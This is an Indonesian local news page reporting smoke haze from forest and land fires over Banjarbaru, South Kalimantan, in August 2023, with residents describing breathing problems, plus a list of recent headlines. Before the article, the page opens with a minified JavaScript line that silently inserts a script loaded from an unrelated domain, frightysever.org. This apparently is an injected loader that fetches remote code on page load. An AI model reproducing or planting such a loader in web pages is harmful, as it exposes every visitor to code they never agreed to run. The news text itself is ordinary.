(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Kabut Asap Pagi Kepung Banjarbaru, Sore Udara Juga Terasa Pekat


KANALKALIMANTAN.COM, BANJARBARU – Kabut asap masih mengepung Kota Banjarbaru, Ibu Kota Provinsi Kalimantan Selatan (Kalsel), Rabu (23/8/2023).

Kebakaran hutan dan lahan (karhutla) yang melanda wilayah di Kalsel tahun ini membuat beberapa wilayah perbatasan antar kabupaten kota terkena dampak dari kabut asap.

Kabut asap tersebut terpantau paling banyak mengepung wilayah perbatasan Kota Banjarbaru, seperti Landasan Ulin, Liang Anggang, dan Sungai Ulin.

Baca juga: Tilep Dana Desa, Mantan Kades di Balangan Dituntut 4,5 Tahun Penjara

Rani, warga yang bermukim di dekat Bandara Syamsudin Noor Kecamatan Landasan Ulin mengaku hampir setiap pagi rumahnya selalu kemasukan asap.

“Padahal belum buka pintu, asap sudah mulai masuk lewat fentilasi sekitar pukul 05.30 Wita di rumah saya,” ungkap lelaki 53 tahun ini kepada Kanalkalimantan.com, Rabu (23/8/2023) siang.

Dirinya mengatakan kabut asap yang melanda hari ini terbilang cukup parah dari pada hari biasanya, lantaran kabut asap juga terjadi di sore hari hingga menjelang magrib.

Baca juga: Sawit Kalsel Berumur 20-30 Tahun, Mentan SYL Minta Tata Kelola Sawit Berkelanjutan

“Kabut asap hampir terjadi hampir setiap hari, tidak cuma pagi saja tapi juga sore biasanya sampai malam itu, dua anak saya sampai batuk-batuk, nafasnya juga sesak setiap pagi,” akunya.

Sementara itu, Rudi (49), warga Komplek Asabri Kelurahan Sungai Ulin, Kecamatan Banjarbaru Utara mengungkapkan hal yang sama.

Wilayah komplek yang ditinggalinya pun diketahui mengalami dampak kabut asap dari Karhutla yang terjadi di wilayah hutan Mandiangin, Kabupaten Banjar.

Baca juga: Gotong Royong Bersih Desa Tumbang Mangkutup

“Iya kita kena dampaknya, paling parah di sini kalau pagi hari kabut asapnya datang dari atas gunung Mandiangin,” jelas warga Kelurahan Sungai Ulin ini.

Meski begitu katanya kabut asap itu perlahan memudar ketika memasuki waktu siang hari dan sore hari.

Lebih jauh kondisi kabut asap yang terpantau di Kota Banjarbaru masih tidak terlalu pekat, tapi sudah sangat terasa pekat ketika kita menghirup udara.

Meski begitu masyarakat juga harus tetap mewaspadai kabut asap yang berpotensi menjadi di jam rawan seperti pagi pukul 06.00 – 07.30 Wita dan juga sore hari pukul 17.00 – 18.30 Wita. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Muhammad Andi

Recent Posts

Belanja Bahagia, PLN Tebar Senyum Berkah untuk Anak Yatim

KANALKALIMANTAN.COM, PONTIANAK - PLN melalui Yayasan Baitul Maal (YBM) PLN dan Srikandi PLN menebar kebahagiaan… Read More

5 jam ago

Hadapi PSU 19 April, 403 PTPS Dilantik dan Diaktifkan Kembali

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 403 orang Pengawas Tempat Pemungutan Suara (PTPS) se Kota Banjarbaru akan… Read More

5 jam ago

Kepala BIN Resmikan Mako BINDA Kalsel di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Kepala Badan Intelijen Nasional (BIN) Muhammad Herindra meresmikan gedung baru Markas Komando… Read More

6 jam ago

163 Calon Jemaah Haji Banjarbaru Mulai Ikuti Manasik

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru melalui Kantor Kementerian Agama Kota Banjarbaru resmi membuka kegiatan… Read More

6 jam ago

Desa Longkong Ikuti Lomba Posyandu, Ini Pesan Ketua TP PKK HSU

KANALKALIMANTAN.COM, AMUNTAI – Pos Pelayanan Terpadu (Posyandu) Mawar Desa Longkong, Kecamatan Danau Panggang, menjadi lokasi… Read More

7 jam ago

DPRD Banjarbaru Berikan 11 Evaluasi LKPj Wali Kota Tahun Anggaran 2024

KANALKALIMANTAN.COM, BANJARBARU - Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru memberikan evaluasi terkait rekomendasi laporan… Read More

9 jam ago

This website uses cookies.